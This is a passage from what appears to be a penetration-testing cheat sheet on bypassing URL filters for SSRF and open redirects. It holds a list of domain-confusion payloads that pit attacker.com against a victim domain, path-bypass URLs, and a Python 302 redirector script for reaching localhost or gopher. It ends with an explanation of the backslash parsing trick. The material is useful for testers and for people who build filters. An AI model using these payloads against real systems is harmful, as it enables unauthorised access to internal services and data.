The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.

### Domain Confusion
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Paths and Extensions Bypass
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} ".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Explained Tricks
### Blackslash-trick
In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard.
Both of them describe a way of parsing URI/URLs, with one slight difference. The WHATWG specification describes [one extra character](https://url.spec.whatwg.org/#authority-state), the `\`, which behaves just like `/`: ends the hostname & authority and starts the path of the URL.
